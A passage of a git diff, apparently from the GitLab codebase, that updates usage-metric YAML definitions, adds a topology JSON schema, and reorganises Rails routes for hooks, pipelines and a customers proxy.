value_type: number
-status: data_available
+status: deprecated
time_frame: all
data_source: database
distribution:
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml b/config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml
index 7f2e91c88eb..7fce44b02cd 100644
--- a/config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml
+++ b/config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml
@@ -6,7 +6,7 @@ product_stage: protect
product_group: group::container security
product_category: web_firewall
value_type: number
-status: data_available
+status: deprecated
time_frame: all
data_source: database
distribution:
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml b/config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml
index 5c028ab30e1..838837e223d 100644
--- a/config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml
+++ b/config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml
@@ -6,7 +6,7 @@ product_stage: protect
product_group: group::container security
product_category: web_firewall
value_type: number
-status: data_available
+status: deprecated
time_frame: all
data_source: database
distribution:
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml b/config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml
index e0c49c6b070..1e6ee0d40cb 100644
--- a/config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml
+++ b/config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml
@@ -6,7 +6,7 @@ product_stage: protect
product_group: group::container security
product_category: web_firewall
value_type: number
-status: data_available
+status: deprecated
time_frame: all
data_source: database
distribution:
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml b/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml
index 2df821ee8ad..d8ab29b3ef5 100644
--- a/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml
+++ b/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml
@@ -1,6 +1,6 @@
---
key_path: counts.web_ide_merge_requests
-description: Count of Merge Requests created from Web IDE
+description: Count of merge requests created from Web IDE
product_section: dev
product_stage: create
product_group: group::editor
diff --git a/config/metrics/counts_all/20210216180922_duration_s.yml b/config/metrics/counts_all/20210216180922_duration_s.yml
deleted file mode 100644
index 2ddbd1f25e8..00000000000
--- a/config/metrics/counts_all/20210216180922_duration_s.yml
+++ /dev/null
@@ -1,19 +0,0 @@
----
-key_path: topology.duration_s
-description: Time it took to collect topology data
-product_section: enablement
-product_stage: enablement
-product_group: group::memory
-product_category:
-value_type: number
-status: data_available
-time_frame: all
-data_source: prometheus
-distribution:
-- ce
-- ee
-tier:
-- free
-- premium
-- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180924_failures.yml b/config/metrics/counts_all/20210216180924_failures.yml
deleted file mode 100644
index 0706ffc7e7f..00000000000
--- a/config/metrics/counts_all/20210216180924_failures.yml
+++ /dev/null
@@ -1,19 +0,0 @@
----
-key_path: topology.failures
-description: Contains information about failed queries
-product_section: enablement
-product_stage: enablement
-product_group: group::memory
-product_category:
-value_type: number
-status: data_available
-time_frame: all
-data_source: prometheus
-distribution:
-- ce
-- ee
-tier:
-- free
-- premium
-- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216181102_issues.yml b/config/metrics/counts_all/20210216181102_issues.yml
index 2898486642e..ca89db705f1 100644
--- a/config/metrics/counts_all/20210216181102_issues.yml
+++ b/config/metrics/counts_all/20210216181102_issues.yml
@@ -2,7 +2,7 @@
key_path: counts.issues
description: Count of Issues created
product_section: dev
-product_stage:
+product_stage: plan
product_group: group::plan
product_category: issue_tracking
value_type: number
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216181104_label_lists.yml b/config/metrics/counts_all/20210216181104_label_lists.yml
index e064fe310b5..e12bdcabe41 100644
--- a/config/metrics/counts_all/20210216181104_label_lists.yml
+++ b/config/metrics/counts_all/20210216181104_label_lists.yml
@@ -1,16 +1,18 @@
---
key_path: counts.label_lists
-description:
+description: Count of label lists created on Boards
product_section: dev
-product_stage:
-product_group: group::plan
-product_category:
+product_stage: plan
+product_group: group::project management
+product_category: boards
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181106_milestone_lists.yml b/config/metrics/counts_all/20210216181106_milestone_lists.yml
deleted file mode 100644
index 138ad791d5a..00000000000
--- a/config/metrics/counts_all/20210216181106_milestone_lists.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: counts.milestone_lists
-description:
-product_section: dev
-product_stage:
-product_group: group::plan
-product_category:
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216181108_milestones.yml b/config/metrics/counts_all/20210216181108_milestones.yml
index d0be9293cfc..29e6bad41ee 100644
--- a/config/metrics/counts_all/20210216181108_milestones.yml
+++ b/config/metrics/counts_all/20210216181108_milestones.yml
@@ -1,16 +1,18 @@
---
key_path: counts.milestones
-description:
+description: Count of milestones created
product_section: dev
-product_stage:
-product_group: group::plan
-product_category:
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181109_uploads.yml b/config/metrics/counts_all/20210216181109_uploads.yml
index 0035b499326..c72d51b4cb9 100644
--- a/config/metrics/counts_all/20210216181109_uploads.yml
+++ b/config/metrics/counts_all/20210216181109_uploads.yml
@@ -2,8 +2,8 @@
key_path: counts.uploads
description: Count of Uploads via Notes and Descriptions
product_section: dev
-product_stage:
-product_group: group::plan
+product_stage: plan
+product_group: group::project management
product_category: issue_tracking
value_type: number
status: data_available
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216181111_labels.yml b/config/metrics/counts_all/20210216181111_labels.yml
index cce534d49e7..328b0fcd991 100644
--- a/config/metrics/counts_all/20210216181111_labels.yml
+++ b/config/metrics/counts_all/20210216181111_labels.yml
@@ -2,8 +2,8 @@
key_path: counts.labels
description: Count of Labels
product_section: dev
-product_stage:
-product_group: group::plan
+product_stage: plan
+product_group: group::project management
product_category: issue_tracking
value_type: number
status: data_available
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216181113_notes.yml b/config/metrics/counts_all/20210216181113_notes.yml
index b019e9b9023..0046fe630bb 100644
--- a/config/metrics/counts_all/20210216181113_notes.yml
+++ b/config/metrics/counts_all/20210216181113_notes.yml
@@ -2,8 +2,8 @@
key_path: counts.notes
description: Count of Notes across all objects that use them
product_section: dev
-product_stage:
-product_group: group::plan
+product_stage: plan
+product_group: group::project management
product_category: issue_tracking
value_type: number
status: data_available
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216181115_issues.yml b/config/metrics/counts_all/20210216181115_issues.yml
index 2f751d47d2c..0c4db95b275 100644
--- a/config/metrics/counts_all/20210216181115_issues.yml
+++ b/config/metrics/counts_all/20210216181115_issues.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage.plan.issues
-description:
+description: Count of users creating Issues
product_section: dev
-product_stage:
-product_group: group::plan
-product_category:
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181117_notes.yml b/config/metrics/counts_all/20210216181117_notes.yml
index a948750b747..93e699fda60 100644
--- a/config/metrics/counts_all/20210216181117_notes.yml
+++ b/config/metrics/counts_all/20210216181117_notes.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage.plan.notes
-description:
+description: Count of users creating Notes on Issues
product_section: dev
-product_stage:
-product_group: group::plan
-product_category:
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181119_projects.yml b/config/metrics/counts_all/20210216181119_projects.yml
index 807d2851393..6cabd4eaf8b 100644
--- a/config/metrics/counts_all/20210216181119_projects.yml
+++ b/config/metrics/counts_all/20210216181119_projects.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage.plan.projects
-description:
+description: Count of users creating projects
product_section: dev
-product_stage:
-product_group: group::plan
-product_category:
+product_stage: plan
+product_group: group::project management
+product_category: projects
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181121_todos.yml b/config/metrics/counts_all/20210216181121_todos.yml
index 2869e59033e..679a8eb3394 100644
--- a/config/metrics/counts_all/20210216181121_todos.yml
+++ b/config/metrics/counts_all/20210216181121_todos.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage.plan.todos
-description:
+description: Count of users todos created
product_section: dev
-product_stage:
-product_group: group::plan
-product_category:
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181135_label_lists.yml b/config/metrics/counts_all/20210216181135_label_lists.yml
index 4cd9374cdbb..8385157a13f 100644
--- a/config/metrics/counts_all/20210216181135_label_lists.yml
+++ b/config/metrics/counts_all/20210216181135_label_lists.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage.plan.label_lists
-description:
+description: Count of users creating label lists on Boards
product_section: dev
-product_stage:
-product_group: group::plan
-product_category:
+product_stage: plan
+product_group: group::project management
+product_category: boards
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181137_milestone_lists.yml b/config/metrics/counts_all/20210216181137_milestone_lists.yml
deleted file mode 100644
index d0741ebd0b3..00000000000
--- a/config/metrics/counts_all/20210216181137_milestone_lists.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: usage_activity_by_stage.plan.milestone_lists
-description:
-product_section: dev
-product_stage:
-product_group: group::plan
-product_category:
-value_type: number
-status: data_available
-time_frame: all
-data_source:
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216181205_confidential_epics.yml b/config/metrics/counts_all/20210216181205_confidential_epics.yml
deleted file mode 100644
index f2941af6bd2..00000000000
--- a/config/metrics/counts_all/20210216181205_confidential_epics.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: counts.confidential_epics
-description:
-product_section: dev
-product_stage: plan
-product_group: group::portfolio management
-product_category:
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216181206_epics.yml b/config/metrics/counts_all/20210216181206_epics.yml
deleted file mode 100644
index 97452db6f85..00000000000
--- a/config/metrics/counts_all/20210216181206_epics.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: counts.epics
-description:
-product_section: dev
-product_stage: plan
-product_group: group::portfolio management
-product_category:
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216181210_issues_with_health_status.yml b/config/metrics/counts_all/20210216181210_issues_with_health_status.yml
deleted file mode 100644
index 1df3a5d1a38..00000000000
--- a/config/metrics/counts_all/20210216181210_issues_with_health_status.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: counts.issues_with_health_status
-description:
-product_section: dev
-product_stage: plan
-product_group: group::portfolio management
-product_category:
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216181252_boards.yml b/config/metrics/counts_all/20210216181252_boards.yml
index 9316320129f..7552c7289c7 100644
--- a/config/metrics/counts_all/20210216181252_boards.yml
+++ b/config/metrics/counts_all/20210216181252_boards.yml
@@ -1,16 +1,18 @@
---
key_path: counts.boards
-description:
+description: Count of total Boards created
product_section: dev
product_stage: plan
product_group: group::project management
-product_category:
+product_category: boards
value_type: number
status: data_available
time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181254_projects.yml b/config/metrics/counts_all/20210216181254_projects.yml
index b2cd3039fcb..3e15f602f06 100644
--- a/config/metrics/counts_all/20210216181254_projects.yml
+++ b/config/metrics/counts_all/20210216181254_projects.yml
@@ -1,6 +1,6 @@
---
key_path: counts.projects
-description: Count of Projects
+description: Count of Projects created
product_section: dev
product_stage: plan
product_group: group::project management
@@ -11,6 +11,8 @@ time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216181256_todos.yml b/config/metrics/counts_all/20210216181256_todos.yml
index 7ffddb73f38..bf3f34500c5 100644
--- a/config/metrics/counts_all/20210216181256_todos.yml
+++ b/config/metrics/counts_all/20210216181256_todos.yml
@@ -1,6 +1,6 @@
---
key_path: counts.todos
-description: Count of ToDos
+description: Count of todos created
product_section: dev
product_stage: plan
product_group: group::project management
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216181258_jira_imports_total_imported_count.yml b/config/metrics/counts_all/20210216181258_jira_imports_total_imported_count.yml
index b51a38a4f3c..c18888edb23 100644
--- a/config/metrics/counts_all/20210216181258_jira_imports_total_imported_count.yml
+++ b/config/metrics/counts_all/20210216181258_jira_imports_total_imported_count.yml
@@ -1,9 +1,9 @@
---
key_path: counts.jira_imports_total_imported_count
-description: Count of Issues imported from Jira
+description: Count of Jira imports completed
product_section: dev
-product_stage: plan
-product_group: group::project management
+product_stage: create
+product_group: group::ecosystem
product_category: jira_importer
value_type: number
status: data_available
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml b/config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml
index c1f8e312021..321273f800e 100644
--- a/config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml
+++ b/config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml
@@ -2,8 +2,8 @@
key_path: counts.jira_imports_projects_count
description: Count of Projects that imported Issues from Jira
product_section: dev
-product_stage: plan
-product_group: group::project management
+product_stage: create
+product_group: group::ecosystem
product_category: jira_importer
value_type: number
status: data_available
@@ -15,5 +15,4 @@ distribution:
tier:
- free
- premium
-- ultimate
-skip_validation: true
+- ultimate \ No newline at end of file
diff --git a/config/metrics/counts_all/20210216181301_jira_imports_total_imported_issues_count.yml b/config/metrics/counts_all/20210216181301_jira_imports_total_imported_issues_count.yml
index 9ab377e5e04..b8e031dd744 100644
--- a/config/metrics/counts_all/20210216181301_jira_imports_total_imported_issues_count.yml
+++ b/config/metrics/counts_all/20210216181301_jira_imports_total_imported_issues_count.yml
@@ -1,9 +1,9 @@
---
key_path: counts.jira_imports_total_imported_issues_count
-description: Count of Jira imports run
+description: Count of total issues imported via the Jira Importer
product_section: dev
-product_stage: plan
-product_group: group::project management
+product_stage: create
+product_group: group::ecosystem
product_category: jira_importer
value_type: number
status: data_available
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216182203_user_preferences_group_overview_details.yml b/config/metrics/counts_all/20210216182203_user_preferences_group_overview_details.yml
deleted file mode 100644
index 5f06bcf1607..00000000000
--- a/config/metrics/counts_all/20210216182203_user_preferences_group_overview_details.yml
+++ /dev/null
@@ -1,18 +0,0 @@
----
-key_path: counts.user_preferences_group_overview_details
-description: Count of users who set personal preference to see Details on Group overview
- page
-product_section: sec
-product_stage: secure
-product_group: group::threat insights
-product_category: vulnerability_management
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-- ee
-tier:
-- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216182205_user_preferences_group_overview_security_dashboard.yml b/config/metrics/counts_all/20210216182205_user_preferences_group_overview_security_dashboard.yml
deleted file mode 100644
index 688720eebb9..00000000000
--- a/config/metrics/counts_all/20210216182205_user_preferences_group_overview_security_dashboard.yml
+++ /dev/null
@@ -1,18 +0,0 @@
----
-key_path: counts.user_preferences_group_overview_security_dashboard
-description: Count of users who set personal preference to see Security Dashboard
- on Group overview page
-product_section: sec
-product_stage: secure
-product_group: group::threat insights
-product_category: vulnerability_management
-value_type: number
-status: data_available
-time_frame: all
-data_source: database
-distribution:
-- ce
-- ee
-tier:
-- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216182207_user_preferences_group_overview_security_dashboard.yml b/config/metrics/counts_all/20210216182207_user_preferences_group_overview_security_dashboard.yml
deleted file mode 100644
index 7337c457249..00000000000
--- a/config/metrics/counts_all/20210216182207_user_preferences_group_overview_security_dashboard.yml
+++ /dev/null
@@ -1,17 +0,0 @@
----
-key_path: usage_activity_by_stage.secure.user_preferences_group_overview_security_dashboard
-description: Users who set personal preference to see Details on Group overview page
-product_section: sec
-product_stage: secure
-product_group: group::threat insights
-product_category: vulnerability_management
-value_type: number
-status: data_available
-time_frame: all
-data_source:
-distribution:
-- ce
-- ee
-tier:
-- ultimate
-skip_validation: true
diff --git a/config/metrics/license/20210204124938_recording_ce_finished_at.yml b/config/metrics/license/20210204124938_recording_ce_finished_at.yml
index 8afcd1bab02..b1fd0589e4a 100644
--- a/config/metrics/license/20210204124938_recording_ce_finished_at.yml
+++ b/config/metrics/license/20210204124938_recording_ce_finished_at.yml
@@ -8,10 +8,11 @@ product_category: collection
value_type: string
status: data_available
time_frame: none
-data_source:
+data_source: ruby
distribution:
- ce
- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/license/20210216175602_installation_type.yml b/config/metrics/license/20210216175602_installation_type.yml
index 577d0d502b3..ae5f26ff0a2 100644
--- a/config/metrics/license/20210216175602_installation_type.yml
+++ b/config/metrics/license/20210216175602_installation_type.yml
@@ -8,7 +8,7 @@ product_category: collection
value_type: string
status: data_available
time_frame: none
-data_source:
+data_source: ruby
distribution:
- ce
- ee
@@ -16,4 +16,4 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
+
diff --git a/config/metrics/objects_schemas/topology_schema.json b/config/metrics/objects_schemas/topology_schema.json
new file mode 100644
index 00000000000..c422966c5c5
--- /dev/null
+++ b/config/metrics/objects_schemas/topology_schema.json
@@ -0,0 +1,43 @@
+{
+ "type": "object",
+ "required": ["duration", "failures"],
+ "properties": {
+ "duration": { "type": "number", "description": "The time it took to collect topology data" },
+ "failures": { "type": "array", "description": "The information about failed queries" },
+ "application_requests_per_hour": { "type": "number", "description": "The number of requests to the web application per hour" },
+ "nodes": {
+ "type": "array",
+ "items": {
+ "type": "object",
+ "properties": {
+ "node_cpus": { "type": "number", "description": "The number of CPU cores of this node" },
+ "node_cpu_utilization": { "type": "number", "description": "The CPU utilization ratio of this node" },
+ "node_memory_total_bytes": { "type": "number", "description": "The total available memory of this node" },
+ "node_memory_utilization": { "type": "number", "description": "The memory utilization ratio of this node" },
+ "node_services": {
+ "type": "array",
+ "items": {
+ "type": "object",
+ "properties": {
+ "name": { "type": "string", "description": "The name of the GitLab service running on this node" },
+ "server": { "type": "string", "description": "The type of web server used (Unicorn or Puma)" },
+ "process_count": { "type": "number", "description": "The number of processes running for this service" },
+ "process_memory_rss": { "type": "number", "description": "The average Resident Set Size of a service process" },
+ "process_memory_uss": { "type": "number", "description": "The average Unique Set Size of a service process" },
+ "process_memory_pss": { "type": "number", "description": "The average Proportional Set Size of a service proces" }
+ }
+ }
+ },
+ "node_uname_info": {
+ "type": "object",
+ "properties": {
+ "machine": { "type": "string", "description": "The machine hardware name of this node" },
+ "release": { "type": "string", "description": "The operating system release of this node" },
+ "sysname": { "type": "string", "description": "The operating system name of this node" }
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/config/metrics/schema.json b/config/metrics/schema.json
index cc1eafcf0ba..4c10aca7061 100644
--- a/config/metrics/schema.json
+++ b/config/metrics/schema.json
@@ -5,6 +5,10 @@
"key_path": {
"type": "string"
},
+ "name": {
+ "type": ["string", "null"],
+ "pattern": "^([a-z]+_)*[a-z]+$"
+ },
"description": {
"type": "string"
},
@@ -26,7 +30,7 @@
},
"status": {
"type": ["string"],
- "enum": ["data_available", "planned", "in_progress", "implemented", "not_used", "deprecated"]
+ "enum": ["data_available", "implemented", "not_used", "deprecated", "removed"]
},
"milestone": {
"type": ["string", "null"],
diff --git a/config/metrics/settings/20210216174829_smtp_server.yml b/config/metrics/settings/20210216174829_smtp_server.yml
new file mode 100644
index 00000000000..afee13f5534
--- /dev/null
+++ b/config/metrics/settings/20210216174829_smtp_server.yml
@@ -0,0 +1,18 @@
+---
+key_path: mail.smtp_server
+description: The value of the SMTP server that is used
+product_section: growth
+product_stage: growth
+product_group: group::activation
+product_category: onboarding
+value_type: number
+status: data_available
+time_frame: all
+data_source: ruby
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml b/config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml
index 6bb5795c971..ee3741581b4 100644
--- a/config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml
+++ b/config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml
@@ -6,9 +6,9 @@ product_stage: protect
product_group: group::container security
product_category: web_firewall
value_type: boolean
-status: data_available
+status: deprecated
time_frame: none
-data_source:
+data_source: database
distribution:
- ce
- ee
@@ -16,4 +16,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/settings/20210225045628_operating_system.yml b/config/metrics/settings/20210225045628_operating_system.yml
index e88b8f8c827..0d60bc309b4 100644
--- a/config/metrics/settings/20210225045628_operating_system.yml
+++ b/config/metrics/settings/20210225045628_operating_system.yml
@@ -6,7 +6,7 @@ product_stage: enablement
product_group: group::distribution
product_category: collection
value_type: string
-status: implemented
+status: data_available
milestone: "13.10"
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54778
time_frame: none
diff --git a/config/metrics/settings/20210323120839_topology.yml b/config/metrics/settings/20210323120839_topology.yml
new file mode 100644
index 00000000000..9cc32b75790
--- /dev/null
+++ b/config/metrics/settings/20210323120839_topology.yml
@@ -0,0 +1,21 @@
+---
+key_path: topology
+description: Topology data
+product_section: enablement
+product_stage: enablement
+product_group: group::memory
+product_category:
+value_type: object
+status: data_available
+milestone: "13.11"
+introduced_by_url: https://gitlab.com/groups/gitlab-org/-/epics/3209
+time_frame: none
+data_source: prometheus
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+object_json_schema: 'config/metrics/objects_schemas/topology_schema.json'
diff --git a/config/redis.cache.yml.example b/config/redis.cache.yml.example
index fb92c205ce1..44d9f7e8632 100644
--- a/config/redis.cache.yml.example
+++ b/config/redis.cache.yml.example
@@ -1,5 +1,5 @@
-# If you change this file in a Merge Request, please also create
-# a Merge Request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
+# If you change this file in a merge request, please also create
+# a merge request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
#
development:
url: redis://localhost:6379/10
diff --git a/config/redis.queues.yml.example b/config/redis.queues.yml.example
index dd6c10e0e06..4194b44cb88 100644
--- a/config/redis.queues.yml.example
+++ b/config/redis.queues.yml.example
@@ -1,5 +1,5 @@
-# If you change this file in a Merge Request, please also create
-# a Merge Request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
+# If you change this file in a merge request, please also create
+# a merge request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
#
development:
url: redis://localhost:6379/11
diff --git a/config/redis.shared_state.yml.example b/config/redis.shared_state.yml.example
index 98f6f330bc7..b3e0c7a8fa9 100644
--- a/config/redis.shared_state.yml.example
+++ b/config/redis.shared_state.yml.example
@@ -1,5 +1,5 @@
-# If you change this file in a Merge Request, please also create
-# a Merge Request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
+# If you change this file in a merge request, please also create
+# a merge request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
#
development:
url: redis://localhost:6379/12
diff --git a/config/resque.yml.example b/config/resque.yml.example
index 0f629a5229c..656cd57a739 100644
--- a/config/resque.yml.example
+++ b/config/resque.yml.example
@@ -1,5 +1,5 @@
-# If you change this file in a Merge Request, please also create
-# a Merge Request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
+# If you change this file in a merge request, please also create
+# a merge request on https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests
#
development:
url: redis://localhost:6379
diff --git a/config/routes.rb b/config/routes.rb
index 38030a24cb5..1258675df86 100644
--- a/config/routes.rb
+++ b/config/routes.rb
@@ -179,6 +179,7 @@ Rails.application.routes.draw do
get :db_spin
get :sleep
get :kill
+ get :quit
post :gc
end
end
@@ -220,6 +221,12 @@ Rails.application.routes.draw do
post :authorize_aws_role
end
+ resource :integration, controller: 'clusters/integrations', only: [] do
+ collection do
+ post :create_or_update
+ end
+ end
+
member do
Gitlab.ee do
get :metrics, format: :json
@@ -284,6 +291,7 @@ Rails.application.routes.draw do
draw :git_http
draw :api
+ draw :customers_dot
draw :sidekiq
draw :help
draw :google_api
diff --git a/config/routes/customers_dot.rb b/config/routes/customers_dot.rb
new file mode 100644
index 00000000000..d6afb54cae8
--- /dev/null
+++ b/config/routes/customers_dot.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+scope '-' do
+ namespace :customers_dot do
+ post 'proxy/graphql' => 'proxy#graphql'
+ end
+end
diff --git a/config/routes/group.rb b/config/routes/group.rb
index e1ae860f6ec..126680a0b44 100644
--- a/config/routes/group.rb
+++ b/config/routes/group.rb
@@ -50,6 +50,8 @@ constraints(::Constraints::GroupUrlConstrainer.new) do
end
end
+ resources :applications
+
resources :packages_and_registries, only: [:index]
end
diff --git a/config/routes/pipelines.rb b/config/routes/pipelines.rb
index 0fc308b5e65..1a74abdeaa1 100644
--- a/config/routes/pipelines.rb
+++ b/config/routes/pipelines.rb
@@ -12,7 +12,6 @@ resources :pipelines, only: [:index, :new, :create, :show, :destroy] do
member do
get :stage
- get :stage_ajax
post :cancel
post :retry
get :builds
diff --git a/config/routes/project.rb b/config/routes/project.rb
index 21dfe173715..09b212bc1a2 100644
--- a/config/routes/project.rb
+++ b/config/routes/project.rb
@@ -50,6 +50,8 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
end
end
+ resources :infrastructure_registry, only: [:index], module: :packages
+
resources :jobs, only: [:index, :show], constraints: { id: /\d+/ } do
collection do
resources :artifacts, only: [] do
@@ -397,6 +399,18 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
to: 'web_ide_schemas#show',
format: false,
as: :schema
+
+ resources :hooks, only: [:index, :create, :edit, :update, :destroy], constraints: { id: /\d+/ } do
+ member do
+ post :test
+ end
+
+ resources :hook_logs, only: [:show] do
+ member do
+ post :retry
+ end
+ end
+ end
end
# End of the /-/ scope.
@@ -460,18 +474,6 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
draw :legacy_builds
- resources :hooks, only: [:index, :create, :edit, :update, :destroy], constraints: { id: /\d+/ } do # rubocop: disable Cop/PutProjectRoutesUnderScope
- member do
- post :test # rubocop:todo Cop/PutProjectRoutesUnderScope
- end
-
- resources :hook_logs, only: [:show] do # rubocop: disable Cop/PutProjectRoutesUnderScope
- member do
- post :retry # rubocop:todo Cop/PutProjectRoutesUnderScope
- end
- end
- end
-
resources :container_registry, only: [:index, :destroy, :show], # rubocop: disable Cop/PutProjectRoutesUnderScope
controller: 'registry/repositories'
@@ -553,7 +555,6 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
# Deprecated unscoped routing.
scope as: 'deprecated' do
# Issue https://gitlab.com/gitlab-org/gitlab/issues/118849
- draw :pipelines
draw :repository
# Issue https://gitlab.com/gitlab-org/gitlab/-/issues/29572
@@ -571,12 +572,13 @@ constraints(::Constraints::ProjectUrlConstrainer.new) do
# Legacy routes.
# Introduced in 12.0.
# Should be removed with https://gitlab.com/gitlab-org/gitlab/issues/28848.
- Gitlab::Routing.redirect_legacy_paths(self, :mirror, :tags,
+ Gitlab::Routing.redirect_legacy_paths(self, :mirror, :tags, :hooks,
:cycle_analytics, :mattermost, :variables, :triggers,
:environments, :protected_environments, :error_tracking, :alert_management,
:tracing,
:serverless, :clusters, :audit_events, :wikis, :merge_requests,
- :vulnerability_feedback, :security, :dependencies, :issues)
+ :vulnerability_feedback, :security, :dependencies, :issues,
